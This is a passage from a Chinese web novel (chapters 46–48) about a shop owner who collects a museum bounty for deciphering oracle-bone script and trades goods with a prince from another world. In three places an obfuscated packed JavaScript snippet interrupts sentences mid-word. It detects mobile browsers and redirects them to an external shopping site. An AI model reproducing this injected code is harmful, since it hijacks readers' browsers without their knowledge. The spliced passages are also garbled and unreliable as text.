韩教授在一边计数，道：“十四个了。” 闻言，大家齐齐嚯了一声，十四个！ 悬赏令接连发了五年，年年是十位数投稿，正确率则是零，今年算是最少的一次，看起来最不能出结果的一年，反倒是前所未有的大丰收。 “快！联系投稿人，说不准是哪个家学渊源的专家学者，咱们要好好聊聊。” “对对对，你们联系投稿人，我去申请悬赏金。实在太惊人了，没想到会有人一连破译十四个，这件事我得上报。” 韩教授摇摇头，“我发过邮件了，人家到现在没回复。” 为了等萧妧妧的回复，办公室里几个年过半百的老专家急得抓耳挠腮，像毛躁的小伙子。 一天又一天过去，对面却连通知领悬赏金的邮件都没拆开查看，他们实在憋不住，推了教学任务，找了个颁发悬赏金的借口，相约找上门。 他们自知冒昧，但为了破译甲骨文，再冒昧也得冲。 萧妧妧听到这里，不禁有些恍惚，还真对了啊。 果然是因为没有写解题步骤，几位专家心中有疑惑，好险她提前准备，否则要露馅。 依据她是说不出的，但知道破译结果是对的，萧妧妧是一点不担心了，大大方方拿出《古文释读》 “实不相瞒，我对甲骨文了解不深，能破译那些字，全靠它。” 老学者们面面相觑，推一下黑框眼镜，转过脸，好奇紧盯萧妧妧递来的册子。 萧妧妧随手翻开几页展示给他们，缓缓说： “我是开艺术品集合店的，你们可以理解为卖古董，所以经常自己搜罗一些玩意，这本《古文释读》是其中一个，说起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516788|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是巧合，我偶然间翻了几页，刚好和博物馆的悬赏有些相似，我想着发邮件试试看，没想到……” 萧妧妧一本正经编胡话，一副为自己的误打误撞感到幸运的模样。 几位老学者闻言失望片刻，失望于萧妧妧一个甲骨文不认识，只是做生意的，随即目光炯炯，争着抢着要看《古文释读》。 他们以为萧妧妧会给出什么参考资料，结果倒好，直接给出一本甲骨文字典，惊得众人说不出话，如获至宝一般，一个个扒着册子仔细研读验证真伪。 有一较年轻学者没抢到，便问：“这册子您是从哪收来的？多少钱？愿不愿意卖？” 萧妧妧：“不卖，这册子的原件不知所踪了，只剩下手抄本，我是要留着收藏的。如果你们需要，我不收钱，你们带复印本走。” 较年轻学者面露犹豫，崔教授倒是果断开口，“复印本就复印本，只要内容在一切都好说。萧女士愿意让我们带走复印本已经很好了。” 萧妧妧这时注意到，翻过册子的几位无不是满面红光，欣喜之情溢于言表。 “妙啊，妙啊，老李你看这一页，有三个字是我们前年破译的。” “王老师你让让，我看到我正在研究的一个甲骨文。” 眼看着他们脑袋挨着脑袋，琢磨得快要吵起来，萧妧妧按下心底雀跃，问出最关心的话题。 “那……悬赏金是真的有十万？” “对对对，这次来不仅是想探究破译过程，也是要给萧女士送来悬赏金，不是骗人的，一个字十万，一分不少。” 老学者们看得心满意足时，全然忘记此行的另一目的，经萧妧妧提起，他们恍然拍手。 萧妧妧一听，顿时眉开眼笑，早在他们进门时，她就想问问他们是不是来给悬赏金的。 “那我对了多少个字？一共能拿多少？” “十四个，不多不少一百四十万。” 萧妧妧惊喜不已，“十四个？我以为最多十三个。” 申明月凭记忆胡乱写了几个上去凑数，两人都没想过能对，这下好了，比预想的多了十万，意外之喜。 “萧女士配合我们拍个照片吧？要举着支票拍的那种，照片是要挂在博物馆官网的，可能还会联系媒体宣传一下，鼓励更多人加入到破译工作中。”一挂着照相机的学者站出来提醒。 萧妧妧一口答应，答应完随即低头看自己的T恤大裤衩和洞洞鞋。 “……介意我换件衣裳吗？”萧妧妧弱声问。 老学者们很包容，说了句请便，大家继续低头研究册子。 萧妧妧顺势打开艺术品集合店的门，不遗余力的推销，“这是即将开业的艺术品集合店，几位教授要是觉得无聊，可以进来看看，里面有空调。” 离开前为他们续上茶水，看他们一个个背着手进店溜达，萧妧妧跑去客房翻找衣服。 大裤衩必须换，T恤显黑，也得换，等她换上稍微正经一点的衣服出来，院子里已经没了人影。 萧妧妧一边整理衣服一边往外走，抬眼看到几位老学者凑在一处柜台指指点点，赞叹连连。 46. 第 46 章 “几位教授是看中什么东西了？”她随口问。 “萧女士，这两块墨能不能让我们看一眼？” 店铺里只有苏娇娇送给她的两套古墨，一套两块，一块约有六寸蛋糕那么大，高度在两厘米左右。 乍一看，四块古墨像四个圆溜溜的黑圆盘，仔细一看才能分辨出圆盘上面精雕细琢的繁复花纹，极具观赏价值。 四块之所以说是一整套，是因为每一块对应一个季节，雕花刻名，题款铭言，与其说是墨，更像是艺术品，加之古墨独有的沧桑感，绝对是有藏墨之好的人心头宝。 “好墨啊，难得见到如此精致的墨，没有残缺，花纹精美，关键还是一整套……” 显然，几位老学者都是有藏墨之好的人，喜爱之情跃与脸上手上。 “萧女士，古墨你打算卖多少？”最上头的一位学者急促追问。 萧妧妧怕吓走他们，没敢报太高，“古墨整套售出，四块一共一百六十万。” 这是她从许年华那里打听到的，单卖的话，一块三十万顶天了，行情好的时候能叫价更高，但也不会高出五十万。 一整套更容易卖出高价，叫价两百万不算贵，所以她报一百六已经是思考过后给出的低价。 几乎是一百六十万的价格报出口，兴致勃勃欣赏古墨的老学者们纷纷面露难色。 想来也是，他们一辈子坐在博物馆研究文字，哪能一下子拿出一百多万买四块不当吃不当用的墨。 “萧女士可否为我留些时日？最多五日，五日后我来将它买下。” 开口提出请求的正是脖子上挂着相机的学者，六十多岁的年纪，看着很和蔼。 萧妧妧想了想，这理由不算过分，只是保留五日，都没还价。 “可以啊，难得遇到欣赏它的人，若是能回到您手里，算是有了好去处。”萧妧妧客气应声，“只是也请您体谅体谅，要是反悔了告知我一声。” 看萧妧妧这么好说话，老学者果然高兴起来，递来名片，添加联系方式。 “我姓韩，叫我韩叔就行，萧女士放心，墨是肯定会买的，只是家里管钱的人这几日不得空。” 韩叔真诚的向她解释缘由，一旁的同事们无不是羡慕的眼红，连声打趣。 “老韩命好啊，闺女做生意赚了大钱，现在买墨都不还价了。” “嗐，这么好的墨给我留着，我也不还价。” “老韩，把你女儿一起带来看看，免得她以为你乱花钱。” 王教授碰了碰韩叔胳膊，“是啊，一百六十万不是小钱，让你闺女亲眼看看东西，别到时候你家那位又跟你吵吵。” 萧妧妧听他们絮絮叨叨，怪有意思，说了一阵子，韩叔恋恋不舍地放下古墨，捧起相机。 “不说了不说了，赶紧回家找女儿要钱去，来来来，拍照。”他笑呵呵吆喝。 老同事们笑骂几句他心急，慢慢往院子中央转移。 萧妧妧趁机把古墨包装好塞进柜子深处，快步走到他们中间。 “好，看镜头，支票抬高点，对对对……茄子！” 咔嚓一声，合照完成。 韩叔捧着相机回来给萧妧妧看一眼，“看，拍得不错吧？你看看这构图、这角度，我还调了什么美颜，保准你满意。” 萧妧妧忍不住笑，韩叔实在可爱。 “对了，还有个表格你要填一下，我们要带走交上去的。” 年轻学者想起来还有一茬，赶紧走流程。 萧妧妧捏着支票折又不敢折，塞进口袋怕弄皱了，全程翘着两指夹着支票，填完表格签字上交。 一起交上去的还有《古文释读》的复印本，几位老学者别提多感动了，握着萧妧妧的手不停感谢。 崔教授插话道：“萧女士大义，我们得宣传宣传，来来来，萧女士站中间，拿着支票和册子拍一个单人照。” 一句大义，夸得萧妧妧飘飘忽忽，神情窘迫，“这不会也要发到网上去吧？” 韩叔看她不太情愿，热心的劝：“哎呦，发网上多好啊，到时候新闻里写，‘古董店老板无偿捐赠古籍复印本，助力博物馆甲骨文破译’，我们请媒体把你家店铺名字写下来，萧女士以后还不是生意兴隆啊。” 此话一出，又招来几声打趣。 “瞧瞧，老韩的闺女能做大生意，看来还是遗传了老韩呢。” “哈哈哈，可不是，萧女士听老韩的吧，就当是给你铺子做宣传，也正好让大家知道，好人好报，让大家多多捐赠。” 玩笑话说完，大家哈哈大笑，一旁的萧妧妧像被点醒一样，浑身轻松。 她还是太胆小了，总担心别人惦记、起疑心，难免缩手缩脚，可现在这个时代，酒香还怕巷子深，是得宣传宣传。 “韩叔你等等，我擦个口红。” ………… 送走文字博物馆的几位专家，小卖部瞬间变得安静下来。 萧妧妧静坐柜台后，一手撑脸，一手捧支票，目光凝视着它。 对她而言，这一百四十万可以说是从天而降，尤其在她不抱希望，甚至早早将这件事遗忘在脑后的时候惊喜度瞬间翻倍。 整整一百四十万！再加上自己账户里原有的余额，她手上差不多有三百多万的现金！ 曾经那些因为囊中羞涩而不敢去想象的事物，此刻如雨后春笋一般冒出来找存在感。 买一套属于自己的房子的念头开始在她脑海中清晰、放大。 大概是存款给了她底气，萧妧妧当即查看起南市的房市行情，可没看两眼，瞬间提不起劲了。 凡是她看得上的地段、户型，无不是上千万一套，买不起。 “他们走了吗？”龙傲天从结界里探出半截身子，用气音低声呼喊。 萧妧妧听到声，忙收起手机，招呼他进来，“刚走，继续？” 龙傲天叹气，无奈点头，“继续。” 萧妧妧一边帮忙转移压缩饼干，一边偷摸和系统对话。 “统，咱们能不能人性化一点？比如来个一键送达的功能，我的客户都不太喜欢自己动手。” 滴滴两声，系统提醒：【距离开启送货功能还需十八万件交易数量，您暂不符合申请要求】 萧妧妧失望的哦了一声，随即注意到一个关键词。 “难道说有些功能是需要申请才能开通的？” 系统：【是的】 萧妧妧兴奋问：“那我现在的交易件数够申请哪些功能？” 光屏一闪，系统界面自动弹出一个对话框。 【防叠加功能符合申请条件，是否申请开通？】 萧妧妧虽然没被系统坑过，但该有的警惕心一点不少，“你先解释解释。” 光屏又是一闪，关于【防叠加】功能的介绍清晰列出介绍。 萧妧妧耐着性子读一遍，终于弄明白了。 【防叠加】是针对文物的重要功能，唯一的作用是用来防止同一时空位面出现两件一样的文物，导致位面产生bug。 功能开启后，结界相当于海关的作用，进出结界的客人被动且在不知情的情况下接受检查，如果携带违规物品，结果是无法通过结界。 而如果她没有开启功能，任由同一个位面出现两件一模一样的文物，系统自动触发警报，总系统直接给你消消乐，两个一起消灭。 萧妧妧一想到文物会消失，哪怕另一个不属于她也忍不住心疼。 那可是文物啊。 这个功能来得正好，萧妧妧恰好犯愁，愁苏娇娇给她弄来一些三次元已经有的文物，没被人发现倒还好，被人知道了解释不清。 萧妧妧举一反三，又问：“那是不是有什么，不允许售卖超过买卖双方所处位面科技水平的武器，不允许客人携带武器进店，不允许危险系数高的非人类进店……这样的功能？” 【您咨询的功能为自动开启且不可关闭的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529737|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全防护功能，不可携带武器默认为热武器，如需调整限制级别请自行操作】 得到答案，悬着的心终于落回肚子里。 别的不说，非人类角色拒绝进店这一点她爱死了。 她现在连奥特曼打小怪兽都不敢看，生怕哪天来个小怪兽砸场子。 萧妧妧略作思考，继续问：“小卖部和客人是单方面联系，客人有需求随时随地能进来，假如我想要主动去联系某位客人呢？ 比如说有些商品已经到货了，或者是准备推出一些优惠活动之类的消息，有没有相关的功能能够实现这个操作呢？” 系统：【您咨询的交互功能需要升级至二级】 萧妧妧不禁撇了撇嘴，说到底还是得多卖点货才行，也不知道要等多久…… 和系统有一搭没一搭的聊着，再有一搭没一搭的配合龙傲天转移物资，一心二用的结果是她压根没能注意到，龙傲天背着他偷懒。 萧妧妧面色不善地盯了他一会，龙傲天面色讪讪，不情不愿的加快速度。 拖车完成使命是半小时后的事了，一百箱压缩饼干全部运走，龙傲天累得几乎瘫倒，接过萧妧妧递来的白水咕嘟咕嘟，也不嫌弃它比不上自家茶水。 龙傲天喘匀气，随口抱怨：“萧老板如此神通，怎么不能帮孤把东西送出去？” 萧妧妧全当没听见，这事又不是她想不想能解决的。 龙傲天显然不是很在意她的回答，说完，扭头看了看自家宅院里凌乱堆放的箱子，问出心中疑惑。 “萧老板，这么点东西，能顶得住吗？” 东西是一箱箱搬出来的，龙傲天不知道总数，搬得时候累得要死，希望赶紧结束，搬完一打量，发现东西比想象的少太多。 龙傲天还是懂一点常识的，每次出征粮草无不是绵延好几里，骡子驴要上千匹，并且还需中途补给。 但是数来数去，算上止血药一共才五百来箱，当然，箱子体积确实有点大，份量足得他胳膊酸疼，但那也是五百来箱，十几头驴就能拉走。 要说这点东西能撑得住上万人消耗，龙傲天心里直打鼓。 萧妧妧理解他的质疑，问：“现在饿不饿？” 龙傲天感受一下，点头，“饿。” 做了大半天苦力活，怎么能不饿。 萧妧妧拆了一包压缩饼干给他，“尝尝看，先吃半块吧。” 龙傲天将信将疑，强忍着让老太监试毒的冲动，小心翼翼咬下一小口。 “味道竟然还不错！” 龙傲天咀嚼片刻，神情有点意外，又咬下一大口仔细品尝，等他吃完了大半块，吞咽速度肉眼可见慢下来，他惊异地捂着肚子。 “我只吃了半块，为何……” “是不是有强烈的饱腹感？”萧妧妧看他点头，笑道：“这就是压缩饼干，一块可以顶一顿，这里是六万包，肯定够用。” 龙傲天定定地望着手里的半块饼干，不可置信。 出于对萧妧妧的信任，也抱着点示好的意思，龙傲天打从一开始就没打听价格，掏个几百两给出去，由萧妧妧看着安排，算是试水，看看小卖部有多少他不知道的惊喜。 这一试，龙傲天惊呆了。 “……这些东西，真是孤给你的那点金子能买到的？” 龙傲天好像做梦一样，有种花小钱办大事，占了大便宜的感觉。 萧妧妧心说，你给的那可不是一点，9000多克金子，将近六百万人民币，而买下压缩饼干总共才花去不到二十万，这利润，卖白.粉都没她赚得多。 萧妧妧清清嗓子，语气诚恳，“本来是买不到的，这不是看在老顾客的份上，给你一点优惠嘛，你方便我，我方便你，咱们才好长长久久合作下去。” 得便宜卖乖，这一套一套萧妧妧学得可快了。 龙傲天闻言果然有一丝丝感动，但很快清醒， “对了，你说要孤帮什么忙来着？” 47. 第 47 章 萧妧妧兴奋地搓了搓手，她有十足把握龙傲天会答应她的请求。 龙傲天的位面拿不出什么有历史价值的古董文物，但是古色古香的好东西最不缺。 这些东西在现代的价格她高攀不起，但是在古代相对来说容易不少，尤其有龙傲天的皇储身份，优势巨大。 萧妧妧扒拉一番，从龙傲天塞来的荷包里，分出一半尾款递回去。 “我需要你帮忙淘点东西，不需要多贵重，那什么双面绣屏就挺不错，还有那对玉瓶，我看你们那里的家具很有意思，浅浅弄点什么紫檀木、黄花梨木的家具，随便是柜子桌子椅子或者是凳子，我不挑的。” 龙傲天正襟危坐，态度端肃，以为她要托付什么重要事，听到一半，神情渐渐错愕。 “就这？” 萧妧妧嘿嘿笑，“直说吧，能不能帮忙？” “你若要，孤现在给你搬几个来，值当你说这么一串话，”龙傲天摆摆手，看了看柜台上的金子，“萧老板如果想支付报酬，倒是不必用金子，为孤准备点驱寒汤药，或者御寒衣裳也成。” 边州地处偏远，气候寒冷恶劣，冬季漫长而难熬，老七若是真要动手，必定会在此处大做文章、耍弄手段，必须时刻小心提防才行。 萧妧妧的笑容愈发灿烂，她急忙将那堆金子收好，满口答应。 “汤药好说，我今天就能给你，至于衣服，军大衣怎么样？” 话音未落，她已转身小跑回客房，翻出提前准备好的军绿色大衣，然后一路小跑到龙傲天面前，将其递了过去。 龙傲天惊奇端详样式奇特的衣物，接过后认认真真检查，不放过任何一个细节。 过了一会儿，龙傲天抬起头来，“可否拆开一看？” 萧妧妧递去剪刀，“随意查看。” 得到允许后，龙傲天动作笨拙地拆了内里衣角，放在手中反复揉搓着，试图通过这种方式来分辨出它究竟是由何种材料制成。 然而里料柔软，不像是葛布麻布一类，是他从未见过的新东西，龙傲天分辨不出是什么，索性放弃，直接将衣服穿在身上，亲身感受一下它的效果。 穿上衣服的那一刻，空调散发的冷气完全阻隔，温暖感觉包裹全身，他不由得微微眯起了眼睛，脸上露出满意神色。 萧妧妧看他有几分满意，自觉为他介绍：“外面料子是粗糙了些，但是耐脏耐磨，可以经受得住各种恶劣环境的考验。而且，面料进行了改良处理，具备良好的防风性能。 内里是上等棉花和柔软的羊绒混合而成，不仅厚实保暖，穿着也十分舒适。 当然，用料讲究，价格自然会偏高一些。我这里还有采用纯棉花作为内里的款式，相对来说会便宜不少。” 听完萧妧妧的介绍，龙傲天的神情突然发生了微妙变化。 他瞪大双眼，声音不自觉地提高，难以置信地问：“你刚刚说……内里是棉花？还有羊绒？” 她点了点头，肯定地回答：“对啊，就是棉花。怎么了？难道你们那里没有棉花吗？” 萧妧妧担心两个位面对于棉花的认知和定义有所不同，赶忙翻找出来一张棉花的图片，递给龙傲天看。 龙傲天紧紧地盯着手中棉花的照片，眼睛眨都不眨一下，从幼苗到开花再到成熟，几张照片翻过来倒过去，反反复复看了无数遍。 “竟然真的是棉花……”龙傲天像是被施了定身咒一般，一手摸着军大衣，一边喃喃自语。 此时的龙傲天显得异常激动，他猛地转过身去，背着手开始在房间里踱起步来。 随着他脚步的加快，面色越来越红润，呼吸也变得急促。 “你可别热中暑了，脱了衣服再团团转呗？”萧妧妧见状，忍不住开口提醒他。 沉浸在自己思绪中的龙傲天对她的话恍若未闻，依旧自顾自地踱步不止。 萧妧妧猜测道：“你们那里也有棉花吧，多半还没人发现棉花保暖效果好？” 不然很难解释龙傲天这么激动是为了什么。 “萧老板猜对了。”龙傲天踱步片刻，稍稍恢复了平静，肯定她的猜测，深吸一口气问：“做一件大衣需要多少棉花？一亩地能产出多少斤？萧老板这里的棉花多少钱一斤？还有，棉花最适宜种在什么样的地里？” 他的问题太多，萧妧妧听完一遍根本记不住。 她无奈地耸了耸肩，“说不准，用多少棉花没有一个固定的量，主要是得看你们那边冬天的气温到底有多冷。 至于产量和价格，你没必要知道，没有参考价值。 如果你需要，我可以整理一下资料，把棉花种植的一些注意事项告诉你。” 龙傲天一拍脑门，自嘲地笑道：“是孤太着急问了蠢话，萧老板说得有道理。那么，这一件棉大衣要多少钱？” 一向对钱财不太在意的龙傲天，此刻破天荒地关心起价格问题。 衣裳在古代社会毫无疑问是珍贵财产，尤其是能抵御严寒的衣物，价值更不菲，龙傲天在权衡利弊。 毕竟出征的军队从将领到兵卒，没有一个是他的人，值不值得在他们身上投入那么多，是龙傲天眼下需要判断的事。 以及，军大衣保暖效果显著，肯定有人好奇，像他一样拆开布料琢磨里面究竟是什么。 随之而来的，棉花能做衣裳的消息必定流传出去，龙傲天不得不顾忌。 “衣裳不急，重要的是伤寒药，劳烦萧老板多准备点。孤这就给你取东西去。” 棉花能做御寒衣物这件事太重要了，龙傲天一个人无法决定，必须尽快与门下的谋士们共同商讨，研究如何巧妙地利用棉花，为自己谋取到最大化的利益。 商议出结果之前，哪怕棉大衣再出色、再令人心动，龙傲天也坚决不能让它落入他人之手。 带着满心的不舍，他缓缓放下手中的军大衣，转身离开。 萧妧妧不禁感到一阵失落，只能默默地将那件衣服收起。 她并未因此气馁太久，很快打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544705|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起精神来。 没事，龙傲天不愿意购买并不代表其他人也会无动于衷，还有申明月呢，好东西不愁卖。 趁龙傲天取东西的间隙，萧妧妧也要准备一些感冒药、退烧药，各三千盒，还为他准备了一箱挂面，送给他尝尝鲜。 萧妧妧刚刚将一切准备妥当，还未来得及喘口气，龙傲天风风火火地拖着、抱着一大堆物品走了进来。 其中不仅有着萧妧妧点名要的玉瓶、双面绣屏、黄花梨方香几，更有许多她未曾提及的宝贝玩意儿，什么鹅毛扇、檀木扇、黄花梨炕屏、掐丝珐琅瓶…… 叫不上名字的东西太多了，他甚至连方香几上的兰花一起搬了来。 从未见过如此阵仗的萧妧妧瞠目结舌，目不暇接，半张着嘴巴看他一趟趟运，结界显示的画面一会是库房，一会是厢房，一会又变成书房。 “够了够了！再多我的铺子就塞不下了！” 眼看着龙傲天又搬来好几方砚台以及墨块，萧妧妧终于回过神来，连忙高声叫停。 忙得不亦乐乎的龙傲天不由得愣住，“这些东西足够换药了？” 全是些库房里放落灰的物件，要不是萧妧妧点名要，他根本想不起去看一眼，没想到它们竟然能派上大用场。 龙傲天不禁意动，如果以后都这般交易该多好啊。 萧妧妧小鸡啄米一样连连点头，何止能换药，药房都给他搬过来。 她算是看出来了，龙傲天搁这清仓甩货呢。 萧妧妧兴奋地东瞧瞧西摸摸，每一件都是只能在博物馆见面的宝贝。 哦，博物馆里的东西甚至不一定有她这里的好。 萧妧妧激动的脸颊通红，除了龙傲天需要的药物，格外大方地添了整整五大箱低钠盐进去。 这下轮到龙傲天惊诧不已。 他动作麻利地拆开其中一包盐，小心翼翼蘸取少许放入口中品尝，确认无误后，一双眼睛瞪得浑圆。 过了半晌，他结结巴巴开口：“……萧老板居然能弄到如此之多的精盐？” 萧妧妧不以为然，不紧不慢地回答，“盐在这边不是什么稀罕物，更不是管制品，想要多少有多少，不过嘛……” 她故意顿了一顿，卖个关子，见龙傲天全神贯注等她讲下文，还瞪眼催促，便接着说道： “你想要盐我可以卖给你，如果你想要制盐工艺，只要你出得起价，我照样能卖给你。” “制盐工艺？” 龙傲天语调尖锐的惊呼出声，似乎不敢相信自己听到的一切。 “对，你没听错。” 萧妧妧微微笑，看龙傲天一副惊愕万分的模样，心里别提多得意。 又是一笔无本万利的买卖，赚个盆满钵满不是问题。 盐可不是随随便便免费赠送给他的，萧妧妧真正想推销的是制盐工艺。 她夸得天花乱坠没用，不如让对方亲眼见识到其中所蕴含的巨大利益和优势，不然怎么能让他心甘情愿地掏真金白银。 48. 第 48 章 “此事非同小可，萧老板，请容我与手下人商议一番。” 他眉头紧锁，陷入了短暂的沉默，过了好一会儿，龙傲天双手抱拳作揖，神情庄重而严肃。 想象中豪气万丈、狂砸金子购买先进技术的场景并没有出现，萧妧妧有点想不通。 她按捺不住，直截了当的问：“难道它对你来说没有一点吸引力吗？” 龙傲天苦笑着摇了摇头，叹息一声：“并非如此，正是因为它们至关重要，孤不得不慎重。” 他并没有将心底真正的想法全盘托出。 不管是棉花还是盐，无论一项被推广开来，都将成为载入史册的功绩，为大兴带来天翻地覆般的巨大变革，而在位的帝王也必定在历史长河中留下浓墨重彩的一笔。 试问哪个帝王不想成为千古一帝，成为后世传颂不衰的明君。 龙傲天有私心，能有此机遇千载难逢，他定然是想留到自己登基以后再宣告天下。 萧妧妧撇嘴，“不就是利益最大化嘛，打量谁不知道呢……” 龙傲天意外了一瞬，坦然承认，“知我者，萧老板也。” 申明月那里处在拉团队拉投资的阶段，手上没人没钱，想做点什么施展不开。 龙傲天不一样，萧妧妧以为他有母族撑腰，有朝臣辅佐，必定会一帆风顺，不会遇到什么太大的阻碍，哪知道根本没那么简单。 她分明看出来，龙傲天对制盐工艺心动不已，甚至可以说是渴望至极，但是他不买单啊。 萧妧妧不死心，重新接上话题，试图打动他。 “我们这里有句话叫早买早享受，你早点学会棉花种植制衣的方法，早点晒出大量细盐，能为百姓带来多大的好处啊！ 他们可以用上价格低廉的盐，穿上温暖舒适的棉衣，经济跟着得到发展，不仅对百姓们来说是天大的好事，对于你而言，也是一项了不起的功德。” 龙傲天似笑非笑，玩味开口：“萧老板极力相劝，难道是为了孤的功德？孤下辖百姓吃饱穿暖？” “萧老板何尝不是有自己的私心。” 萧妧妧顿时哑口无言，无可辩解，他话说得难听，但没毛病。 龙傲天不肯带走方子，是为自己谋取更大利益，她卖力推销是为了赚卖方子的钱，同样为自己利益考虑，半斤八两。 她反唇相讥：“我是商人，有私心看重利益再正常不过，殿下身份不一般，我以为您更在乎民生福祉，而不是和我这个商人一样，只看重个人得失。” 不知道是不是她说话太难听给气着了，龙傲天绷着脸沉默下来，看萧妧妧的眼神流露出几分幽深。 萧妧妧不甘示弱，瞪视他。 一时间，氛围稍显凝滞。 萧妧妧这时意识到，屁股决定脑袋这话一点不假。 更意识到，赚钱这事，有时候确实需要一个恰到好处的时机。 “萧老板言之有理，孤受教了。”僵持了片刻，龙傲天率先抱拳作揖。 萧妧妧顺坡下，文绉绉的回他：“殿下折煞我了，私心嘛，谁都有，我不该苛责任何人。” 气氛总算缓和，话题到此为止。 最后几批物资交易完成，萧妧妧催他赶紧回去。 她要趁时间还早，请博主帮忙鉴宝，新店很快要开业了，价格得早点定下。 这时候，萧妧妧无比期望能有一个估价功能，不知道能为她省下多少麻烦。 “统，你老实告诉我，到底有没有估价的功能啊？有的话，我再努努力，早点升级。” 【您的交易件数不达标，需要升至二级开启功能】 萧妧妧听明白了，当即振作起来，区区二级，不难。 萧妧妧摩拳擦掌，打算大干一场的时候，龙傲天犹犹豫豫来到柜台前。 “殿下还没回去呢？” 萧妧妧一直专注于跟系统交流，完全没留意到龙傲天缓慢向自己靠近，冷不丁看到他吓了一跳。 龙傲天见到萧妧妧如此反应后，身体下意识地挺得更直了些，脸上神情略微不自然。 他轻咳一声，开口问道：“萧老板，不知您贵庚几何？” 萧妧妧随口胡扯，“三十多岁了，快四十。” 龙傲天惊愕不已，“萧、萧老板，你该不会是在开玩笑吧？” “你们古代人说话拐弯抹角的真麻烦，有事赶紧说。” 她看一眼手机，已经下午六点，磨蹭半天影响她下班。 龙傲天揉了揉鼻尖，试图掩饰内心的尴尬，他清清嗓子，略有一丝生硬且不自然的语气说道：“那个……三十几岁嘛，正是风华正茂的年纪呢。” 萧妧妧看向他的眼神变得十分怪异，实在是他态度古怪，小动作密集，很难不怀疑他打什么坏主意。 等了足足十几秒，龙傲天缓缓开口：“萧老板是否婚配？” 从和萧妧妧接触几次的经验来看，她说话做事一向直来直去，龙傲天便也敞开了问。 萧妧妧拧紧眉头，满脸狐疑地盯着他，“我都离过一次婚了，有两个孩子呢。” 原本还自信满满的龙傲天瞬间愣住，他瞪大双眼，略显呆滞的目光上下打量萧妧妧，仿佛要从她身上找到已婚已育已离的证据。 可是无论怎么看，面前的萧妧妧分明是一个青春靓丽的年轻姑娘。 “……这……两个孩子孤倒是能养得起……” 龙傲天捏着下巴，好像在努力说服自己的样子，沉思间，他一不小心秃噜出来的话犹如一道惊雷，雷得萧妧妧外焦里嫩，差点弹跳起来。 “我跟你谈生意，你却在背后打我主意，有你这么恩将仇报的吗？” “哦，我知道了，是不是以为跟我谈感情，什么制盐工艺造纸工艺你想拿就拿？” 萧妧妧双手叉腰，气呼呼的斥问他，她越说越激动，声音不自觉地提高。 “不对，你应该是怕我把它们卖给别人！” “你想peach！” “神经。” 龙傲天心中一惊，强装镇定地说道：“你胡思乱想什么呢？哪有的事儿！” 然而他闪烁不定的眼神早已出卖了他，萧妧妧一眼看穿，双手环胸，静静看着他如何狡辩。 “萧老板莫要误会……好吧，孤承认，孤是一时糊涂，的确想着纳了萧老板，这不过是孤一厢情愿，是孤冒犯了萧老板……” 龙傲天看她柳眉倒竖，很快意识到自己得罪了她，他一下子慌了神，还有一些被人戳破小心思的难堪，语气急促的赔礼道歉。 “带着你的感冒药滚出去。”金子舍不得扔，为了不输气势，萧妧妧拎起一箱感冒灵丢过去，“算盘珠子都崩我脸上了，当我不知道你那点小心思？” 龙傲天当然不能走，他还没把萧妧妧安抚好，刚打算说点什么求原谅的时候，萧妧妧直接脱下洞洞鞋捏在手中，三两步冲过去，作势要抽他脑瓜子。 龙傲天连声说几句抱歉，挡着脑袋灰溜溜逃出结界。 把人赶走，萧妧妧没忍住嘁了一声，翻了一个大大的白眼。 “呵……男人。”萧妧妧不屑撇嘴，嘴角勾成耐克，嘲讽完转身，倏然间瞥到小卖部门外站着一个人，“……” 萧妧妧一惊，赶紧放下鞋子套在脚上，又擦了擦手跑过去开门，把人迎进来。 “黎先生是来买棒棒糖的？” 黎行聿看她脸上还 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该说的说完，该还的东西送到她手上，半生不熟的两人很快陷入沉默，黎行聿看她这里一团乱，指了指路边等待的车子。 “我还有事，先离开了。” 萧妧妧微笑点头，目送他离开，重新锁上感应门。 一得空闲，萧妧妧马上把龙傲天拉黑名单十天，十天后看她心情要不要放出来。 灰溜溜回到温泉别庄，龙傲天深深叹气，他知道自己得罪了萧妧妧，但不知道究竟哪里得罪了，想不通。 正在这时，太子妃端来点心，迈步进入书房。 “殿下今日见着她了？” 龙傲天撇过头，没好气的说：“莫要提她。孤一提出要纳她为侧妃，她气得将孤打了出来。” 太子妃不解，“为何？她既愿意辅佐殿下，为殿下出谋划策，又为殿下筹集粮草，若不是想进府，那是……” 龙傲天烦躁地踱步，“不知道不知道，孤要是知道她想什么就好了。哎，若不是听了你的话，这遭绝不能得罪了她，你……哎！” 太子妃垂眸不敢吱声，心里却在连连冷笑。 